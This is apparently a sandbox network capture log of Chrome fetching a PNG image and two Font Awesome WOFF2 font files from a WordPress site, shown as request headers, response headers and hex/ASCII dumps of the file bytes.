e1 5c d4 02 4a 7f fe 56 6b 2c 81 1f 32 2a 70 04 6b b0 18 0b f0 25 d6 60 0f ce 8a fd a0 ac Data Ascii: @r0YHf$&D#viQ@OlR=sdBg2PP`#lP@peh'D8W\cy .Ji;!yP <hd$!s9R!a&2z4>h$(>D7a"ky)Q__`\JVk,2*pk%`
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 75 e4 9a d0 0c 1e 11 50 b5 b0 08 8c 44 74 c3 a7 28 86 1c 69 13 b6 64 9f 6b b6 a1 ef f9 28 6d 44 e7 c5 e7 b8 13 c9 16 07 d4 fb 48 b4 78 0e 52 2f 14 ea 74 f5 f2 d0 0a cb 20 e9 74 ed 12 35 da ef 80 a3 1a ed fb 91 87 1c 18 db 8a 85 a2 12 4d 06 d4 73 8e 2a 94 08 a8 5a 52 84 84 7a 00 7c 3a 8e 46 e9 20 05 2f be 9c bd 2d b9 6f ee 86 bb ee 26 30 be 44 49 94 76 cb 3c 85 f7 71 1d 12 61 d7 80 4a c2 6b 61 7e d5 5b a9 f3 e7 6b d1 44 67 eb 94 29 08 68 74 eb be 40 36 1c 66 4b 04 94 28 2b c7 a4 9a 62 22 f6 22 08 39 c2 7c 58 83 c1 68 00 a7 32 e6 d3 10 43 b0 06 be 28 05 d5 51 bc 86 d6 88 b7 61 40 39 d0 04 2b c3 8c 11 c9 21 9c c0 5d 70 6a b4 7d 09 d6 eb 7c a9 6f 81 83 12 01 25 2a fa a5 cc 00 7f 1c 3f a1 1c 72 84 05 b1 0b a3 d1 18 4e 9d 5d 08 46 e1 17 04 a3 74 40 c2 0e 8c 41 Data Ascii: uPDt(idk(mDHxR/t t5MsZRz\|:F /-o&0DIv<qaJka~[kDg)ht@6fK(+b""9\|Xh2C(Qa@9+!]pj}\|o%?rN]Ft@A
2024-04-11 21:26:40 UTC	239	IN	Data Raw: d3 70 14 c1 2a be 3d 1d c4 54 d4 13 01 25 ca 6c 40 65 a2 23 92 6a d2 00 78 04 06 d2 db 22 5b 63 e3 b8 3c fc 68 91 d5 e8 a5 da 82 f7 23 8d eb 36 60 10 9c 06 d7 ed dd 89 f5 1a 6d ad 43 7f 38 35 ee f5 a0 03 26 e2 7b 1c c2 59 94 a1 5c c5 07 2f 4e 63 17 16 61 04 da c0 83 ca 27 d4 2c c6 8f 16 f9 06 ad 2b 3d fb cd 16 b6 3f 41 04 94 a8 98 2b e5 2d 23 0d 99 16 c9 80 47 35 c8 9d ae 75 9d 89 f9 48 fa 6d 01 a9 30 f0 77 e5 3a 8a ea 89 87 30 1c 23 30 1c 8f e0 1e 74 c1 65 48 0c 33 3f aa 21 32 2d 92 8e 84 10 ff 79 64 5a 24 55 4c 33 10 25 4a 94 28 51 a2 44 89 12 25 4a 94 28 51 a2 44 89 12 25 4a 94 28 51 a2 44 89 12 25 4a 94 28 51 a2 44 89 12 25 4a 94 a8 9a 5f ff 04 33 26 c9 63 9a a0 65 d6 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: p*=T%l@e#jx"[c<h#6`mC85&{Y\/Nca',+=?A+-#G5uHm0w:0#0teH3?!2-ydZ$UL3%J(QD%J(QD%J(QD%J(QD%J_3&ceIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.17	49749	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:39 UTC	723	OUT	GET /wp-content/themes/edumall/assets/fonts/awesome/webfonts/fa-regular-400.woff2 HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://earnandexcel.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/awesome/css/fontawesome-all.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0
2024-04-11 21:26:40 UTC	905	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: font/woff2 Content-Length: 174360 Connection: close CF-Ray: 872e0e62782241fe-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32e0-2a918" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:08 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lHEeLwhti69HgurXe1lCciT6HkhM%2BthZzZu6bSdaS6q7f6M93UTr4nOhPtVBKVSZLf5La0sUrtge%2BlKdn87WmLOsCTJaIBkod5oBPIMKekjirOE0X2Y1strn5ttPPcdNUCo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 02 a9 18 00 0d 00 00 00 06 f3 f4 00 02 a8 bc 01 4b 02 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 1e 06 60 00 91 06 11 08 0a 99 95 14 93 f8 45 01 36 02 24 03 b9 72 0b b9 78 00 04 20 05 8a 46 07 81 bf 27 5b c5 87 95 83 b2 fb 82 10 80 74 1b 02 10 78 f3 cf b9 54 bf b9 42 6e 9e 29 9b 47 b3 ef a8 be 1d 22 06 17 d8 36 8d 60 7e b7 0d 28 ff 18 98 5c db cf fe ff ff ff ff 57 26 8d 50 a7 4e 76 74 6f ff b2 3f 83 18 c8 20 85 06 02 a5 63 31 c9 c5 c3 80 91 04 87 10 13 f2 50 50 23 a6 34 9a 64 c2 ec 8d 4c 6b bb 81 b0 dd 11 8d 54 dd ef a0 ee fb a5 ed 53 2e a4 da 6a ee ed 03 c2 63 2d 65 89 05 5b e2 07 54 e2 46 44 46 44 58 97 35 4a 19 4d 64 23 8e b4 1d 42 cb b9 99 53 7f b9 b7 f5 06 5b 76 a6 ea 61 db 5f e3 33 Data Ascii: wOF2K?FFTM`E6$rx F'[txTBn)G"6`~(\W&PNvto? c1PP#4dLkTS.jc-e[TFDFDX5JMd#BS[va_3
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 82 45 25 45 ea 2e 29 ed 35 27 f3 42 10 52 b4 91 cc e4 6b ba cf 1c 2f 36 c0 16 d8 36 16 4b 4a 6c 56 40 c5 4d 96 3a 6d cb 8e e3 ae 82 92 e4 fd 56 56 b3 9a ff 3f a7 7d bd 77 7a f7 5e f7 ee 82 64 77 b3 6c 05 e6 ff 46 5a 0d b1 20 55 d9 c4 51 55 7b 38 e7 4c 16 1b 7b 2b 9d d9 09 0c 49 c1 7c 83 6c 05 0a 03 54 9f c1 f0 61 53 70 a6 b3 1c 9a ea e7 ea bb eb df ba 6b 6f 49 b0 08 3a 79 49 b0 5d 62 10 dc 76 68 09 c3 85 4c 98 9f d3 fa e1 f2 de b5 7b f7 e6 c2 30 a6 8c c0 98 81 b7 ac 38 df 64 78 d4 ad 4f ca 28 ab a4 05 24 20 ca 2b 45 05 c7 11 b0 28 4b 0c 6c d7 19 a6 75 07 17 e8 a1 17 95 51 64 3d 0f 07 38 e3 e2 70 7d 83 72 1e 6e f4 40 59 7a 4f 6f fc e2 ac bb 2e 8c e3 14 77 19 6a 71 46 43 f5 f3 ab 7e ac fa 14 ae 6b 61 09 6b e2 76 44 d0 10 e7 05 13 d7 ac 51 d3 e7 1e 48 0d dd Data Ascii: E%E.)5'BRk/66KJlV@M:mVV?}wz^dwlFZ UQU{8L{+I\|lTaSpkoI:yI]bvhL{08dxO($ +E(KluQd=8p}rn@YzOo.wjqFC~kakvDQH
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 59 58 fc c5 7e fd 52 e8 72 06 4f 92 b7 f9 22 bd b7 a1 39 34 1c 5d 30 d0 c7 e7 d8 d2 f1 58 d8 f9 c5 43 46 95 c1 f1 2c be c5 7f 91 02 5c 6c af 3e eb 78 ff de bb 7c 5b 61 5f 8b 1b 0e 0a 3c 2d 1c 24 84 22 23 91 64 b8 b4 86 e6 a5 fc 1f ef e0 93 b1 14 fb 13 0c 9b 8c 86 5b 87 fe 43 6c 89 25 93 01 2e b6 aa f1 f2 36 a1 22 2a ac 4b 9f fa a9 dc a8 28 ca ef 8b 5f fa 2f cd 2e 0f ac a4 4a 5d dc cc ba 57 bf 7d f5 2a 7b 8e 5d 78 f2 ea 97 ff b0 61 db ef 1e bf fb d2 a4 96 b5 b2 37 77 0f af 68 74 91 d7 3c 49 ae dc dc 2c 0e 19 36 62 4c b8 ea 9c 47 fe 88 9f a8 32 fd 6c 94 d3 3f d9 fc 33 de b4 b3 ec c7 0d cb 5c f7 8d db d4 4d af 7f b7 9a d9 30 e9 fc 93 bf f3 cd 27 ef dc b9 72 f2 67 fe c8 ef fb b6 2e f3 d8 b5 4d ed b9 a6 a1 a5 a0 04 a3 af f7 75 1e fb ba cc d3 38 84 86 ce 73 2c Data Ascii: YX~RrO"94]0XCF,\l>x\|[a_<-$"#d[Cl%.6"K(_/.J]W}{]xa7wht<I,6bLG2l?3\M0'rg.Mu8s,
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: c7 a3 29 96 21 d7 21 17 f6 d4 b9 e0 4a 63 ae 43 a8 09 47 71 15 b6 96 4b 52 cd a3 da c5 71 12 33 c7 e2 59 35 e5 be 18 61 1e 6e 93 b4 30 ae d2 f0 08 b7 a9 98 92 64 51 ac 5d 0b ae 2a 6c 93 2d f9 d9 66 31 2f 16 4a 97 a4 a6 26 5d a4 93 f2 cd c2 44 17 66 03 28 0c 9c cd e0 e2 85 ed ce a3 50 e7 da ae 6d 37 75 c1 45 cd 76 09 64 d7 5e bd 3f ac c7 a6 2c 35 ac 58 50 65 68 d2 5c 29 16 3e 12 b2 21 54 97 a3 d9 66 73 07 12 68 52 99 26 ab fc b5 69 10 01 ab 36 7c ba 4f 78 1b 48 cc 55 1b 86 f6 5a a7 e3 5e f0 db 28 8e c6 28 63 de da 2e 35 dd 5d 48 01 aa d0 94 8d 08 5c 79 cf e9 dd d3 03 4f 67 9e 4d 3c e9 2f 01 ed 1c 96 0e b7 74 f1 92 cd 0a 33 a3 69 0a d7 0b e5 4b 78 e6 8d d6 50 5d 5c 74 43 67 e7 30 e4 79 fc a4 94 06 76 93 d5 cc ae 54 a2 9f 0e 36 dd 9b 39 a1 cc 1e 02 38 c7 1c Data Ascii: )!!JcCGqKRq3Y5an0dQ]*l-f1/J&]Df(Pm7uEvd^?,5XPeh\)>!TfshR&i6\|OxHUZ^((c.5]H\yOgM</t3iKxP]\tCg0yvT698
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 11 da a1 62 33 d0 11 6b bc 8c c2 27 1c 91 2a 76 63 2e be ed 54 4d 6e 4e 6f 0d e7 20 2e 4e 0d 12 24 52 b5 f5 22 f3 b2 e5 9d 3b 7a fb 46 64 90 bb ac 8b e3 72 3a 5d 61 76 7d 2d 12 f9 48 c6 d3 31 48 14 89 99 35 4d c7 ef b1 57 d5 36 58 0b 81 36 c4 de 6a 33 0c 66 d3 d6 39 b3 a6 0f 13 85 b3 85 0a b0 84 27 6b 16 2a 9b 00 2f c4 1c 9a 0e 99 25 82 a1 fd ac 6e c6 3d f0 8d f8 94 8a 65 ef 7b 1a 2e 99 76 f9 fc a6 fc 54 d8 a7 4d cc a7 4f 13 3e 69 f2 b7 0a fb 6b 7f 70 c2 df f9 33 02 83 50 9a 56 e5 14 6d 0a 29 e7 ec 2c 15 4b 1f 14 7e 5a 12 b8 92 98 37 b8 98 f8 35 fb 74 fe 36 1f e9 45 cf 62 95 f8 3e 8e 61 4d fc 28 02 46 59 01 26 37 6c 30 59 ed 9a 35 6b da 4b d0 89 c3 1b d8 aa cc ab 32 dd f9 50 6e 5e 53 62 d8 3d e5 38 6c b1 3d bc 05 af e9 0e ba 02 e6 ab 8c 22 8a 18 3b 04 ac Data Ascii: b3k'vc.TMnNo .N$R";zFdr:]av}-H1H5MW6X6j3f9'k/%n=e{.vTMO>ikp3PVm),K~Z75t6Eb>aM(FY&7l0Y5kK2Pn^Sb=8l=";
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 6a 67 45 e6 f8 b0 f3 9c d6 70 bd 94 a5 a9 9e f9 bc ea 07 6d 56 97 cd f0 a1 99 44 a4 77 df f8 e4 fa 97 b8 62 5e 9a 2c 44 16 b3 6b cb d6 84 85 68 ad 9d 41 44 6c 74 7a bd d3 9c 6f 62 97 13 bd 75 cb f3 db 4d f1 7a d7 f1 ab af 55 ad 8c 7d 88 4b 53 e5 7d bf fd f8 b2 ad 16 f1 6a 98 fe 94 aa f7 69 7a 98 42 09 d3 da 2e 56 70 8a ab a3 fb 78 22 0d 8c 24 1f 74 79 9a 24 6f de 8d 93 ce ad 66 de 6f 9c 47 f2 35 cc eb 7c 79 a3 bc 6c 56 c8 49 6a 4b d5 43 b2 e5 ab e3 6d f3 ab 70 6e ef 5c 4b c4 cf 7d 4a 75 10 97 1c bb ae f5 fe 87 28 d2 12 2a b7 2c 16 f2 78 e0 07 a9 71 f9 18 9f 01 97 67 54 59 8a 82 a7 8c bf 77 2a b4 30 3e 9b 0e 3e 0d 2f e3 fb e4 9d 8f 3f f2 75 14 fd 79 54 9d 0f c9 8b ef a6 d5 9a 2a 9e 19 75 b7 e4 c7 28 fa 59 0b 4b 2c e1 e8 81 d2 66 e5 bb 57 54 e1 37 b3 d2 56 Data Ascii: jgEpmVDwb^,DkhADltzobuMzU}KS}jizB.Vpx"$ty$ofoG5\|ylVIjKCmpn\K}Ju(,xqgTYw0>>/?uyT*u(YK,fWT7V
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: db eb d2 50 ed a5 e1 1c 3c 66 ac d5 e8 0d 39 dc 5e 60 58 f3 fd b4 e5 87 03 db a6 61 80 4f cd 8a 41 3b 81 0f d6 3f fb 19 44 50 18 b7 9c f7 68 62 73 ed 5b 8c 53 ec bd 59 99 be 4c d7 c8 06 32 af 4e dc c3 75 bd 0d 9f 2d 97 59 97 f9 d6 a5 4b 1f fd 3f 18 ab 47 91 df 99 3d 7e 43 75 23 fb ba 4e 45 d0 2c fb 8b 6a b6 ed 3d cc 51 12 c1 4e 22 53 d3 8b cc bd 14 99 55 cb e4 ea b5 88 c1 68 3d 7e 63 e1 49 a8 ec 79 e2 7d 1f 5b 38 88 3b 1c 9a 0d 07 7e 2b f9 ad df 48 22 4e bd 68 7f ba c9 7d 76 d6 cb 45 9e 8d 87 fd f5 52 cc 96 c4 53 76 fa 77 ad 19 42 f8 94 6e b6 e1 6f d5 c0 13 e3 5e 27 71 e6 6c 6b 22 b6 38 6d 06 93 46 38 94 78 6c 4b c8 e0 b9 ef 97 b9 5f 3a 21 d5 1e b7 5b f9 ed a4 b0 3f fb b3 fc ec e9 d2 f6 96 65 49 7c 0a a8 9a 29 a5 8e ba 55 ad 4c ad 98 22 76 3d 53 d7 c8 33 Data Ascii: P<f9^`XaOA;?DPhbs[SYL2Nu-YK?G=~Cu#NE,j=QN"SUh=~cIy}[8;~+H"Nh}vERSvwBno^'qlk"8mF8xlK_:![?eI\|)UL"v=S3
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 48 b0 3b 3d a4 d5 10 fa 14 08 95 51 20 48 35 4b c1 b3 25 57 16 df 57 a1 0a d4 22 57 4b 35 50 58 dd 09 6a 81 d0 a2 56 0c 5a 41 6a 1b d9 36 f9 c2 8a ad a2 39 85 90 4b fd 45 37 a7 5f ca 95 bd b1 aa 60 e7 b8 ee 15 75 2b b9 25 d1 90 23 f5 c9 1f ca 9e bb 3a d3 c0 fa a4 30 ce 66 74 6e cd 19 45 51 72 9c d5 d1 b6 5a 16 e9 c6 76 ff a5 45 a5 b4 e9 9b 03 ae 92 5a 50 97 d0 2f da d5 b8 d4 4c 01 58 06 97 f1 74 19 23 08 58 9e 42 9a 48 3c bb 95 5d 57 50 08 ad 24 4f 2a 32 7f 4c ec 43 5f df 1f 5b d1 66 82 ea 41 81 a5 bd 64 58 d2 ea 94 57 6c c3 fb 9c 55 dc d6 92 b5 5d 41 1e cd 30 aa 95 10 a8 3c 22 7b 7c fc ec 38 44 14 1d 4a c8 a4 32 e3 f6 86 a9 88 a4 b6 a6 03 c9 57 2d e3 15 a0 ac 1c f2 52 ab 53 80 62 45 48 49 7b 36 fc e5 4d 7b ab 96 a1 61 2b f4 15 1b 22 40 6e f9 48 f6 0d 4f Data Ascii: H;=Q H5K%WW"WK5PXjVZAj69KE7_`u+%#:0ftnEQrZvEZP/LXt#XBH<]WP$O*2LC_[fAdXWlU]A0<"{\|8DJ2W-RSbEHI{6M{a+"@nHO
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 41 23 e1 e6 e3 fd bb 8b 00 42 a3 84 31 d0 98 0b ad de 62 34 e3 ac 1b f2 de 2b 80 4a 1b 1d f4 24 07 31 dd c8 bd 80 c9 0f bc 69 33 fb 1b d6 f8 7e de 1f de e6 1b e7 09 cb 2a 0c 03 31 f5 f7 a9 50 40 9b ea 90 9e 2a b9 b0 48 0a 3d a5 b1 f9 11 d6 08 d1 fe db d0 33 09 a9 c5 69 02 b9 aa ba 4f 5a 2a ed 29 9a 5b aa 4d a0 09 2f 24 38 48 7f c5 f3 8f 1f f3 2d 13 3c f9 d7 f2 bd 66 1a c6 8d 27 b3 8b 7d 5d 30 f5 96 4b f4 e6 8d 36 83 c3 b5 a6 59 b0 24 b7 0c 18 ae b6 6e a8 82 7f 9c 03 b0 36 ce c8 c8 17 c8 7f a7 0b ba 36 c2 01 03 b4 9a f1 12 3c e0 f2 c5 77 34 46 0f e5 e4 52 b0 68 b3 92 c4 1e e4 f4 be 42 d2 00 30 59 64 dd 6a e5 fa 0e fe a9 4e b6 cf d5 ab 87 67 e2 44 c7 29 9c aa 8d d3 20 df 12 a0 8e f6 d6 cd b2 82 e7 59 61 7a c3 47 1a 7f 3f eb 52 28 c0 87 04 d8 4b ce 24 58 52 Data Ascii: A#B1b4+J$1i3~1P@H=3iOZ*)[M/$8H-<f'}]0K6Y$n66<w4FRhB0YdjNgD) YazG?R(K$XR
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: c9 fb 26 95 ba ca 7c c6 fb de d4 a0 d5 90 99 4c ca f5 27 bf 01 bc 8b 0a 96 89 7b 26 ab e5 8f 38 94 15 25 6a 50 9e 4f cc 5f 05 13 93 33 68 ae 51 eb d7 6b fe f3 08 09 ef c7 2f b5 a1 d9 8d 3b ba b8 82 81 e7 59 97 e4 de b9 d8 03 70 91 bf c8 da 57 16 e8 cd 3b d2 1a 30 fc 94 dc 56 06 9d 12 45 2a 61 8b d8 85 57 bc 6e 66 29 ff 7f b1 de 7c 14 9d 37 14 81 a0 c7 74 5b 8d 1d 42 01 be 35 d3 de 0f 09 e5 c3 ea 8e f1 13 67 5f 24 48 63 d4 e6 8e d0 3e 5d 15 b1 d2 2e 26 8c 9d 73 1a 09 de ea 92 7d fa 9d e1 90 d2 76 d8 69 0b 5b f2 bb e8 f1 bb 2c 6c c1 67 24 eb 69 1f c9 04 c9 f5 25 ce 38 b7 a7 bb ef b5 1e 6b b7 d3 db 07 ea 48 08 9c 17 7c fd 63 e1 c0 4c 5b 64 94 11 83 48 19 75 2f a2 1e 54 9f 5f 59 75 6b 7e 2c 79 2b f7 c0 6e 87 63 88 93 79 73 76 b8 01 3a 86 38 54 94 d6 5e 31 28 Data Ascii: &\|L'{&8%jPO_3hQk/;YpW;0VE*aWnf)\|7t[B5g_$Hc>].&s}vi[,lg$i%8kH\|cL[dHu/T_Yuk~,y+ncysv:8T^1(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	49750	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:39 UTC	721	OUT	GET /wp-content/themes/edumall/assets/fonts/awesome/webfonts/fa-solid-900.woff2 HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://earnandexcel.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/awesome/css/fontawesome-all.min.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0
2024-04-11 21:26:40 UTC	913	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:40 GMT Content-Type: font/woff2 Content-Length: 141600 Connection: close CF-Ray: 872e0e629c518c18-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32e0-22920" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:08 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cET%2Bihgv0AXSj5wH7ATMbCDsRHG5nHR%2FMdg%2FUTsbuCl%2BlV6EV1II3UyQMVlDR88Hl1bUBySej%2BXgpErk7djpWvb3z0sYhndJUPoWAOnU%2BwS9uI5n3nF1d6dri6PLXp2CbK4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:40 UTC	456	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 02 29 20 00 0d 00 00 00 05 ed c8 00 02 28 c6 01 4b 02 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 46 46 54 4d 1c 1a 1e 06 60 00 91 06 11 08 0a 95 89 18 90 d0 7e 01 36 02 24 03 b9 72 0b b9 78 00 04 20 05 8a 16 07 81 bf 27 5b ce b3 94 83 d1 ed f6 44 a8 80 dc 26 02 c0 61 5f ae a7 d6 f8 e6 8a b1 31 6c 6b 3d b7 15 85 d2 b8 c8 5e 90 6d 3a 12 a8 5f bd e1 a9 50 35 df b6 c9 ec ff ff ff ff 7f 5d b2 10 99 bb bf d2 fb 26 cd 27 2d dd 00 c4 c9 60 30 1c 38 9d 0a 41 4c ee 7c 20 4a 39 61 2c c8 c9 94 30 63 62 49 10 ab cd 4e 36 91 b9 4f eb 62 a2 a4 ee 4b a5 ea c3 d3 73 6c 22 46 32 db 30 5b e6 bb 1a 11 d8 63 47 f6 df d0 88 1b 75 94 5d 07 8a 4d ac 76 39 e4 dc 46 fb bd 7f 2f 74 79 b2 09 cb 2a d3 ea 1a 5d c4 32 64 7e 10 f5 e6 68 Data Ascii: wOF2) (K?FFTM`~6$rx '[D&a_1lk=^m:_P5]&'-`08AL\| J9a,0cbIN6ObKsl"F20[cGu]Mv9F/ty*]2d~h
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: c4 81 05 99 b4 2e dc 07 bd bc fe 28 24 45 82 a7 b9 cf 79 9b cb 4f 0a bf b7 47 bc 15 a6 aa ea a0 ad 62 12 06 08 8c 40 a1 6b d4 09 55 4b 46 21 c4 ac 61 4b b2 9b 72 f7 ad 3a 6a 55 28 06 a1 ba 43 a2 3c 18 c9 78 14 e3 b1 82 e1 f9 b9 f5 c6 22 0a d8 18 0c 46 0f 36 68 d9 5f 11 b5 31 18 51 1b b5 01 a2 84 c0 30 37 15 65 58 a0 18 60 81 51 e0 89 91 a0 07 46 9d 78 56 a2 de 79 ea 79 77 46 9d 5e 2e 1f 28 f2 b1 80 dd 4d 85 17 e5 28 00 fe af 54 cb fa d6 ad 6a e5 f8 7f 7d 34 b0 9b 11 18 9c 42 e8 46 91 c2 05 60 8d b6 9d 71 e0 e1 02 5c bb d7 b7 0e 08 a4 24 5b 40 66 98 40 2a c4 c9 01 40 2b 5c a4 e1 bc 91 9d 4f 8e 80 89 fd 9e 79 47 a2 74 42 25 93 ea 4a 5a f2 a7 26 5f 66 3a b4 3f 5e 8d 2d 2f a4 ba 56 75 e0 83 f9 45 fe ff e1 60 be fb 45 32 48 12 4b 03 c2 08 47 c3 d9 f8 40 89 32 Data Ascii: .($EyOGb@kUKF!aKr:jU(C<x"F6h_1Q07eX`QFxVyywF^.(M(Tj}4BF`q\$[@f@*@+\OyGtB%JZ&_f:?^-/VuE`E2HKG@2
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: bd fc 33 ab 59 8e 3d 6f aa d9 82 8a 74 4a b1 96 3a bb 28 dd d9 9d dd b9 e4 be 79 7f a1 dd ff 77 71 48 14 11 a8 33 02 a9 23 16 10 0f 58 80 3a 10 94 b4 80 d3 02 8e 94 73 a2 e4 24 c9 49 77 95 80 05 a9 44 05 92 17 42 6a 0a 87 d4 da d5 15 a5 9b d2 3c bc dd f8 e0 08 1f 80 b7 56 f0 f7 81 5b f3 bc 2d bf 45 a9 e5 01 b7 45 14 60 40 16 58 5a b4 ca 59 f1 77 57 92 01 c4 0a 71 f7 10 37 60 56 b0 32 ef 2b ed 86 72 ce de bf 30 1b 11 61 8c 88 50 2a 2a 26 2a e6 3b f3 ab 26 09 cc 7e be 45 68 cc 52 84 c6 64 8d 11 5e 61 84 10 e2 21 84 09 7d dd c3 65 86 35 b5 92 61 da a0 cd 9a b8 98 2a 38 10 0c 64 dc 98 bf 7b de 20 db fa 7f 23 f4 ca bb f3 36 18 51 03 26 a0 60 02 52 65 bd fb 15 97 cc d5 60 b9 bb 6f 15 0b a1 1c 62 03 14 15 24 09 bb c9 2e 09 ff c7 98 66 cd 27 df 36 ff ed 76 ac 6c Data Ascii: 3Y=otJ:(ywqH3#X:s$IwDBj<V[-EE`@XZYwWq7`V2+r0aP*&;&~EhRd^a!}e5a*8d{ #6Q&`Re`ob$.f'6vl
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 0a 1b 08 07 fd 53 98 66 4a 1d 43 05 6d 23 8e fc a4 d7 d7 68 e2 0f 6c 35 04 e5 98 ff 87 62 42 48 e1 f2 e0 18 01 39 0e a3 51 03 d8 84 2e e3 70 90 f9 40 a1 47 c6 ec 42 88 47 90 24 48 03 47 ca b0 51 a0 61 13 a8 98 0d cd c0 46 e8 b7 6a f5 94 94 72 8a a6 52 bd c5 0f 76 d8 e0 3b 41 22 0e 85 14 ee f8 c5 95 b6 9a d2 da 35 bd 3d f2 b9 0e dc 16 30 a9 f1 a6 c1 a4 8e 74 d6 03 a5 3a 13 ba 43 66 69 bc e0 73 48 64 ac c3 0d 18 8d 9f 14 44 56 37 32 89 6a 90 cd 41 53 b0 52 50 81 19 06 d4 05 76 70 f3 d8 83 2b 11 62 f4 b4 87 89 c0 56 25 62 41 ea 29 39 9a dd 18 1b 90 e4 d4 cd 58 f5 b8 1e 0c e8 b7 b2 40 68 e1 3f 64 19 1c 37 6d 4e 11 51 f8 3e b9 62 f4 ce 48 4b 5b 38 e5 1c 4c 63 4b 18 2b ff 18 c0 5f 00 4f 80 23 9c 45 7c 1a be 5b 8e ac a1 46 70 55 88 07 da 95 00 77 0c 75 d3 5f fa Data Ascii: SfJCm#hl5bBH9Q.p@GBG$HGQaFjrRv;A"5=0t:CfisHdDV72jASRPvp+bV%bA)9X@h?d7mNQ>bHK[8LcK+_O#E\|[FpUwu_
2024-04-11 21:26:40 UTC	1369	IN	Data Raw: 71 33 c7 a1 6e db 7a 5e c2 b9 0a 0f 36 b7 08 61 8c bf 09 ad 24 63 ac 8d d1 4b 94 10 aa 10 05 e9 44 4e 4a ac d7 eb da bf ed 6f de 3e bd 4d bd fa 21 b5 54 5a bf dc e7 b8 c4 fd e2 b9 e0 0e 75 54 d5 d9 06 9d dd 2e 6a 44 2b 79 09 d9 f3 79 0e da 39 71 9d c3 1d 0e da b6 da c1 37 d1 6b fd f9 ac 5d d7 5a 52 95 a8 a3 c4 8c cb 5a c3 7c 5e d7 bb 5d df 6f 5d 77 0a 74 ed cc c5 65 b6 47 45 16 d5 f2 b4 19 9c c0 49 9e dd 77 d2 de 18 88 bc 4b e8 8c 15 49 4d 23 ea 4d b3 db 49 e4 76 ad 88 52 9d 74 37 a6 cc 6e fe 46 09 ab f9 48 fb 7e 58 c0 72 d3 c8 c3 70 05 04 8b 69 f5 62 2f 22 04 3d 22 9b d0 36 bc 02 2b e7 93 6c 95 24 23 09 4d 93 d9 99 33 a0 92 28 80 e3 a7 cc 77 db e7 d8 13 07 7d 19 0d 14 d7 d3 c4 ea 49 50 d5 dd 73 dc a3 7a 4e 83 ae 23 7a f7 05 71 40 63 4f 36 63 7d 10 a9 61 Data Ascii: 